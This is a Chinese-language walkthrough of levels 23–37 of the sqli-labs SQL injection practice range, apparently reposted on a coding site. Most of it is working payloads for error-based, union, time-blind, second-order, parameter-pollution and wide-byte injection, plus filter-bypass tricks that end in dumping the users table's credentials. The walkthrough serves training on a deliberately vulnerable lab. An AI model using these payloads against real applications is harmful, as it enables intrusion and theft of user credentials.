SQL注入靶场23-37关实战通关攻略
本文将展示sql注入靶场23-37关的通关思路第二十三关GET - 报错注入过滤注释符用引号闭合进入第二十三关发现又回到了GET参数但是有区别这关将#和-- qwe等等注释符加入了黑名单屏蔽掉了。这一关要用其他方法闭合?id1 -- qwe1.尽管被屏蔽了还是要找注入点不能通过注释符看哪个闭合成功显示那就反过来看没有注释符时哪个闭合没成功就报错就行从 ) ) 等等进行测试可以发现单引号时报错所以注入点是单引号2.既然注释符被屏蔽就使用闭合后面的单引号的方法可以发现可以正常显示 or 113.既然有报错那就使用报错注入查询数据库查询到了security库 and updatexml(1,concat(1,(select database())),1) or 114.查询security库查询到了表名emails,referers,uagents,users and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema security)),1) or 115.查询users表里的字段名查询到了字段名id,username,password and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema security and table_name users)),1) or 116.查询users表里的全部数据由于updatexml函数的局限性报错只能输出最多32个字符使用substr函数可以分段查询数据 and updatexml(1,concat(1,substr((select group_concat(username,:,password) from users),1,32)),1) or 11 and updatexml(1,concat(1,substr((select group_concat(username,:,password) from users),33,64)),1) or 11第二十四关POST - 二次注入注册恶意账户修改密码触发第二十四关又转到POST注入这是一个登录注册和修改密码的代码这一关需要我们先注册一个恶意账号登录恶意账号后又可以恶意修改所以这一关是一个二次注入登录页面注册页面修改页面1.观察登录页面的sql语句发现使用mysql_real_escape_string函数对用户密码进行了转义单引号会被转义成普通字符所以已知账号admin无法跳过密码验证进行登录$username mysql_real_escape_string($_POST[login_user]); $password mysql_real_escape_string($_POST[login_password]);2.在注册页面观察源码发现也对单引号进行转义所以无法通过已知账户创建一个同名账户$username mysql_escape_string($_POST[username]) ; $pass mysql_escape_string($_POST[password]); $re_pass mysql_escape_string($_POST[re_password]);3.观察修改密码页面发现对密码都进行转义但是用户名没有直接是从session获取的用户名所以这是一个注入点$username $_SESSION[username]; --直接从session获取 $curr_pass mysql_real_escape_string($_POST[current_password]); $pass mysql_real_escape_string($_POST[password]); $re_pass mysql_real_escape_string($_POST[re_password]);4.观察修改页面的sql语句发现了是用单引号闭合的那我们就创建一个单引号闭合的账户admin#密码是123456$sql UPDATE users SET PASSWORD$pass where username$username and password$curr_pass ;5.使用创建的用户登录因为用户后面的密码被注释所以current-pass可以随便填然后新密码填我们想要的密码提交后就修改了admin账户的密码了6.随意修改密码reset后进行登录可以发现登录成功了第二十五关GET - 报错注入过滤and/or双写绕过进入第二十五关映入眼帘的就是大写的or和and那是不是在说or和and这两个词被屏蔽了使用and测试时报错这个错误提示我们sql语句不完整肯定了and和or被屏蔽了那就要尝试双写或者使用andor的代替品和|| and 11 --1.如果使用来代替的话需要使用URL编码%26%26不然会被判定为参数分隔符所以直接双写来绕过黑名单简单方便1 anandd 11 --2.先判断注入点使用单引号会报错加入注释符就会正确显示说明是单引号闭合3.既然有报错那就使用报错注入查询数据库查询到了security库 anandd updatexml(1,concat(1,(select database())),1)--4.查询security库里的数据表因为or被屏蔽掉了information库这个名里有or所以要双写or anandd updatexml(1,concat(1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema security)),1)--5.查询users表里的字段名查询到了字段名id,username,password anandd updatexml(1,concat(1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema security anandd table_name users)),1)--6.查询users表里的全部数据使用substr函数分段查询 anandd updatexml(1,concat(1,substr((select group_concat(username,:,passwoorrd) from users),1,32)),1)-- anandd updatexml(1,concat(1,substr((select group_concat(username,:,passwoorrd) from users),33,64)),1)--第二十五A关GET - 报错注入过滤and/or双写绕过第二十五a是第二十五关的姊妹关卡都是or和and的屏蔽了只不过有一点区别可以看出错误时没有错误显示所以用不了报错注入1.注入点也不同第二十五关是单引号闭合但是25a在你输入多少个字符都没有任何输出更倾向于是一个数字型注入事实也确实如此2.找到了注入点判断字段数为3?id1 anandd 11 oorrder by 3 --4.使用联合查询判断回显位置?id-1 union select 1,2,3 --5.查询数据库名查询到了security库?id-1 union select 1,2,database() --6.查询security库里的数据表查询到了emails,referers,uagents,users表?id-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema security --7.查询users表里的字段名?id-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema security%20 anandd table_name users--8.查询users表里的全部数据?id-1 union select 1,2,group_concat(username,:,password) from users --第二十六关GET - 报错注入过滤and/or、空格、注释用%0a等绕过进去第二十六关就发现它写着过滤了字符和空格观察源码发现过滤了好多包括注释符空格和orand。or和and依旧使用双写绕过闭合使用 or 11空格使用括号包围来代替function blacklist($id) { $id preg_replace(/or/i,, $id); //strip out OR (non case sensitive) $id preg_replace(/and/i,, $id); //Strip out AND (non case sensitive) $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out -- $id preg_replace(/[#]/,, $id); //Strip out # $id preg_replace(/[\s]/,, $id); //Strip out spaces $id preg_replace(/[\/\\\\]/,, $id); //Strip out slashes return $id; }1.先判断注入点使用单引号时报错用 oorr 11闭合后显示正常说明时单引号闭合的 oorr 112.既然有报错那么就可以使用报错注入查询到了数据库security库anandd(updatexml(1,concat(1,(select(database())),1))oorr11anandd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schemasecurity)anandd(table_nameusers))),1))oorr113.查询security库里的表查询表名emails,referers,uagents,users表anandd(updatexml(1,concat(1, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schemasecurity))),1))oorr114.查询users表里的字段名查询到了字段名id,username,password5.查询users表里的全部数据使用substr分段读取anandd(updatexml(1,concat(1,substr((select(group_concat(username,:,passwoorrd))from(users)),1,32)),1))oorr11anandd(updatexml(1,concat(1,substr((select(group_concat(username,:,passwoorrd))from(users)),33,64)),1))oorr11第二十六A关GET - 时间盲注过滤and/or、空格、注释用%0a等绕过26a和26关有一点区别就是没有报错信息了但是看屏蔽这一块的源码多了一行空格屏蔽应该是复制粘贴时出错了因为两行一模一样既然没有报错那就使用联合查询function blacklist($id) { $id preg_replace(/or/i,, $id); //strip out OR (non case sensitive) $id preg_replace(/and/i,, $id); //Strip out AND (non case sensitive) $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out -- $id preg_replace(/[#]/,, $id); //Strip out # $id preg_replace(/[\s]/,, $id); //Strip out spaces $id preg_replace(/[\s]/,, $id); //Strip out spaces $id preg_replace(/[\/\\\\]/,, $id); //Strip out slashes return $id; }1.先找注入点发现单引号时有报错闭合时也显示正常初步认定是单引号闭合但是到后续时发现怎么测试都没有反应我怀疑是不是闭合出错?id1oorr11这关没有报错信息那就用时间盲注因为sql注入的每一关都是security库为了验证假设已知security库使用时间盲注测试数据库第一个字母是不是s发现条件为真时延迟很长?id1anandd(if((substr((select(database())),1,1)s),sleep(2),0)) anandd 11既然单引号闭合失败但是显示会正常那是不是要考虑是不是有括号闭合因为如果是括号闭合的话会先验证括号里有没有出错也就是先判断1or11是不是正确的结果显然是正确的所以会输出id为1的数据select username,password from users where id(1or11) limit 0,1当你输入时间盲注时会变成显然这个只会有延迟三层判断当if延迟后会返回00是false所以会id(1 and 0 and 11)0所以不会输出数据而且延迟非常久延迟取决于users表里有多少数据很大程度说明闭合失败select username,password from users where id(1anandd(if((substr((select(database())),1,1)s),sleep(2),0)) anandd 11) limit 0,1以上可以看出闭合应该是单引号括号的闭合即?id1) oorr (1)(12.使用时间盲注查询数据库名发现延迟正确为1秒更加说明闭合成功这时打开burpsuite进行爆破?id1)anandd(if((substr((select(database())),1,1)s),sleep(1),0))anandd(1)(1在sql靶场时间盲注的intruder模块设置都是一样的所以不清楚设置的同学请看前面的关卡时间盲注的部分爆破后按时间排序延迟最大的就是那几个组合成security3.查询security库的表?id1)anandd(if((substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schemasecurity)),1,1)s),sleep(2),0))anandd(1)(1爆破后查询出表是emails,referers,uagents,users4.查询users表里的字段名?id1)anandd(if((substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schemasecurity)anandd(table_nameusers)),1,1)s),sleep(2),0))anandd(1)(1爆破后组合字段名为id,username,password5.查询users表里的全部数据先查用户名再查密码?id1)anandd(if((substr((select(group_concat(username))from(users)),1,1)s),sleep(2),0))anandd(1)(1爆破后的数据将它们组合就行然后将username改为password就是密码第二十七关GET - 报错注入过滤select/union大小写绕过看进入时的页面发现给了union和select被禁用的提示词这是不是说明这一关也是屏蔽词。看源码可以发现在26关的基础上多了union和select的屏蔽词但是可以发现就只是限制了一些大小写与26不同的时少了and和or这类连接词的屏蔽语句这两个select和union都可以用大小写绕过其他的与上一关一样function blacklist($id) { $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out --. $id preg_replace(/[#]/,, $id); //Strip out #. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/select/m,, $id); //Strip out spaces. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/union/s,, $id); //Strip out union $id preg_replace(/select/s,, $id); //Strip out select $id preg_replace(/UNION/s,, $id); //Strip out UNION $id preg_replace(/SELECT/s,, $id); //Strip out SELECT $id preg_replace(/Union/s,, $id); //Strip out Union $id preg_replace(/Select/s,, $id); //Strip out select return $id; }1.既然注释符被屏蔽就使用永真句闭合查看注入点输入?id1时报错同时使用1 or 11闭合时无报错这是不是说明是单引号闭合的但是参考26a的闭合有没有可能是单引号加括号闭合的试验一下发现会报错那单引号闭合就对了1 or 111) or (1)(12.既然有报错那就使用报错注入先查询数据库名使用大小写select绕过查询出数据库security1 and (updatexml(1,concat(1,(SELEct(database()))),1))or 113.继续查询security库里的数据表查询出emails,referers,uagents,users表1 and (updatexml(1,concat(1,(SELEct(group_concat(table_name))from(information_schema.tables)where(table_schemasecurity))),1))or 114.查询users表里的字段名查询出id,username,password三个字段名1 and (updatexml(1,concat(1,(SELEct(group_concat(column_name))from(information_schema.columns)where(table_schemasecurity)and(table_nameusers))),1))or 115.查询users表里的全部数据使用substr函数分段查询1 and (updatexml(1,concat(1,substr((SELEct(group_concat(username,:,password))from(users)),1,32)),1)) or 111 and (updatexml(1,concat(1,substr((SELEct(group_concat(username,:,password))from(users)),33,64)),1)) or 11第二十七A关GET - 报错注入过滤select/union大小写绕过与第二十七关一样屏蔽都是一样的只不过就是不给报错信息了 解决方法都是一样的1.先判断是什么闭合的发现使用双引号时没有显示使用永真句闭合后有显示信息初步判断是双引号闭合的然后再判断有没有括号使用括号没显示信息那就是双引号闭合的1 or 111) or (1)(12.使用%0a代替%00空格(如果使用的是火狐浏览器可能会失效建议使用google)然后查询字段数%0aORDER%0aBY%0a1%0aor11 %0aORDER%0aBY%0a2%0aor11 %0aORDER%0aBY%0a3%0aor11 %0aORDER%0aBY%0a4%0aor11 --报错说明字段数是33.找出字段数是3使用联合查询来找出查看回显位置由于-被屏蔽掉所以使用超级大的数来让数据库查不到数据100%0aUNIOn%0aSELEct%0a1,2,3%0aor114.查询数据库名100%0aUNIOn%0aSELEct%0a1,database(),3%0aor115.查询security库里的表查到出emails,referers,uagents,users表100%0aUNIOn%0aSELEct%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schemasecurity%0aorder%0aby%0a3%0aor%0a116.查询user表里的字段名查询出id,username,password三个字段名100%0aUNIOn%0aSELEct%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema%27security%27%0aand%0atable_name%27users%27%0aorder%0aby%0a3%0aor%0a117.查询users表里的数据100%0aUNIOn%0aSELEct%0a1,2,group_concat(username,%27:%27,password)%0afrom%0ausers%0aorder%0aby%0a3%0aor%0a11第二十八关GET - 联合查询过滤union select组合双写加特殊字符绕过进入28关看到了与27关相像的提示词就是union和select被屏蔽了观察源码可以发现这个与27不同的是union select后面有个/i说明大小写也被过滤了所以可以尝试双写绕过其他的与上一关一样空格使用%0a注释符使用永真式function blacklist($id) { $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out --. $id preg_replace(/[#]/,, $id); //Strip out #. $id preg_replace(/[ ]/,, $id); //Strip out spaces. //$id preg_replace(/select/m,, $id); //Strip out spaces. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/union\sselect/i,, $id); //Strip out UNION SELECT. return $id; }1.先找闭合通过永真式闭合来验证使用单引号时有报错然后使用1 or 11时显示数据初步认为是单引号再验证单引号加括号能不能显示发现也能够显示说明闭合方式是单引号加括号1) or (1)(12.先查询字段数%0aORDER%0aBY%0a1%0aor11 %0aORDER%0aBY%0a2%0aor11 %0aORDER%0aBY%0a3%0aor11 %0aORDER%0aBY%0a4%0aor11 --报错说明字段数是33.使用双写unionselect绕过来判断回显位置100)%0aunionunion%0aselect%0aselect%0a1,2,3%0aor%0a(1)(14.查询数据库数据库名是security100)%0aunionunion%0aselect%0aselect%0a1,database(),2%0aor%0a(1)(15.查询security库里的数据表查询到了emails,referers,uagents,users表100)%0aunionunion%0aselect%0aselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schemasecurity%0aorder%0aby%0a3%0aor%0a(1)(16.查询users表里的字段名查询到了id,username,password100)%0aunionunion%0aselect%0aselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schemasecurity%0aand%0atable_nameusers%0aorder%0aby%0a3%0aor%0a(1)(17.查询users表里的全部数据100)%0aunionunion%0aselect%0aselect%0a1,2,group_concat(username,:,password)%0afrom%0ausers%0aorder%0aby%0a3%0aor%0a(1)(1第二十八A关GET - 联合查询过滤union select组合双写加特殊字符绕过进入第28a关看到页面上大大的提示词only union and select这是不是说明只有过滤这个union select观察源码发现就给union select进行过滤这就好简单了甚至跟前面1-10关的没区别只是双写union select就行参考第28关然后闭合使用注释符注入点是)function blacklist($id) { //$id preg_replace(/[\/\*]/,, $id); //strip out /* //$id preg_replace(/[--]/,, $id); //Strip out --. //$id preg_replace(/[#]/,, $id); //Strip out #. //$id preg_replace(/[ ]/,, $id); //Strip out spaces. //$id preg_replace(/select/m,, $id); //Strip out spaces. //$id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/union\sselect/i,, $id); //Strip out spaces. return $id; }第二十九关GET - 联合查询参数污染WAF绕过在通关第29关的时候发现与sqllab第一关一模一样甚至比如第二关的难度这是不是说明这关的环境配置出错了并没有提示词说的世界上最好的防火墙可以使用JSPstudyjspstudy下载连接Windows版phpstudy下载 - 小皮面板(phpstudy)或者直接使用安装好的tomcat我这边使用安装好的tomcat在sqli-lab页面下有个tomcat-file.zip的压缩包解压到tomcat文件下的webapps最后在webapps/sqli-labs/less-29/index.jsp下输入phpstudy的地址string urlhttp://localhost/sqli-labs/less-29;最后看页面显示正常接下来29-32关都需要tomcat注意要使用tomcat占用的端口号http://localhost:8080/sqli-labs/less-29/index.jsp?id1现在在第29关的根目录下直接访问id1的会发现跳到了hacked.jsphttp://localhost:8080/sqli-labs/less-29/?id11.使用HTTP参数污染(HPP)就是使用两个id参数来骗过服务器WAF会校验第一个id参数而apache会校验最后一个id参数我们就可以使用两个id只对最后一个id进行注入先查找注入点使用最基础的从单引号到双引号加括号使用注释符--最后得出使用单引号时报错注释后显示数据说明注入点是单引号index.jsp?id1id1--2.查找字段数index.jsp?id1id1order by 1-- index.jsp?id1id1order by 2-- index.jsp?id1id1order by 3-- index.jsp?id1id1order by 4-- --报错说明字段数为33.查询回显位置index.jsp?id1id-1 union select 1,2,3--4.查询数据库查询到数据库名securityindex.jsp?id1id-1 union select 1,2,database()--5.查询security库里的数据表查询出emails,referers,uagents,users表index.jsp?id1id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--6.查询users表里的字段名index.jsp?id1id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers--7.查询users表里的所有数据index.jsp?id1id-1 union select 1,2,group_concat(username,:,password) from users--第三十关GET - 联合查询参数污染双引号闭合第三十关与第二十九只是闭合方式不同30是双引号闭合29是单引号闭合只不过30没有报错信息但是显示数据用不到报错注入所以按29关的方法可以搞定第三十一关GET - 联合查询参数污染双引号加括号闭合闭合方式不同这一关是)闭合可以使用报错注入第三十二关GET - 联合查询宽字节注入逃逸转义符32关又回到了最熟悉的get传参这一关不用使用两个参数来绕过前端WAF输入发现这一关将单引号进行转义变成\了也就是%5c%27在mysql中汉字是占两个字节的我们可以在输入id1的时候在后面补充一个字节让这个字节和反斜杠\%5c组成一个汉字比如我们输入%df%5c就会变成一个汉字運这就是宽字节注入1.既然有方法那就先来判断闭合类型使用单引号有报错再注释后面发现显示正常说明闭合类型是单引号?id1%df 就变成 ?id1%df%5c2.查询字段数?id1%df order by 1 -- ?id1%df order by 2 -- ?id1%df order by 3 -- ?id1%df order by 4 -- --报错说明字段数为34.查询回显位置?id-1%df union select 1,2,3 --5.查询数据库名数据库名为security?id-1%df union select 1,2,database() --6.查询security库里数据表既然单引号会被转义再使用%df会让security被污染所以用security的十六位进制值0x7365637572697479来表示?id-1%df union select 1,2,group_concat(table_name) from information_schema.tables where table_schema0x7365637572697479 --7.查询users表里的字段名同样使用users的十六位进制值0x7573657273来表示users?id-1%df union select 1,2,group_concat(column_name) from information_schema.columns where table_schema0x7365637572697479 and table_name0x7573657273--8.查询users表里的全部数据?id-1%df union select 1,2,group_concat(username,password) from users --第三十三关GET - 联合查询宽字节注入原理同Less-32第33与第32关一模一样,直接按32关走就行第三十四关POST - 联合查询宽字节注入POST版34关又回到了这个POST传参与前两关相同的是,还是对单引号进行转义成\所以还是使用宽字节注入但是与前两关不同的是POST参数的处理方式与GET参数不同它会将%传为普通字符编码为%25再输出所以%df\会被转义成%25df%5c%df被破坏了所以要用Burpsuite抓包来进行宽字节注入不能用浏览器来注入1.先找闭合类型使用//)/)不断尝试使用burp抓包输入后的包然后发送到repeater模块修改uname重新发包可以看到成功显示数据了使用单引号时报错闭合后显示数据说明注入点是单引号。1%df or 11#2.查看字段数1%df order by 1# 1%df order by 2# 1%df order by 3# -- 报错说明字段数为23.查询回显位置1 union select 1,2#4.查询数据库名1%df union select 1,database()#5.查询security库里的数据表1%df union select 1,group_concat(table_name) from information_schema.tables where table_schema0x7365637572697479#6.查询users表里的字段名1%df union select 1,group_concat(column_name) from information_schema.columns where table_schema0x7365637572697479 and table_name0x7573657273#7.查询全部数据1%df union select 1,group_concat(username,password) from users#第三十五关GET - 联合查询宽字节注入数字型35关也是宽字节注入但是这一关连宽字节都不要直接就是一个数字型注入跟sql第二关一模一样单引号转义了个寂寞也就数据库表啥的单引号会被转义但是像3233一样用十六进制值就行第三十六关GET - 联合查询宽字节注入原理同Less-32第36关也是对单引号进行转义\与3233没什么区别都是单引号闭合第三十七关POST - 联合查询宽字节注入POST版原理同Less-34第37和34关都是POST参数的单引号转义解题方法一样都是在burp上修改参数而不是在表单提交上可以完全照抄34关
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2547481.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!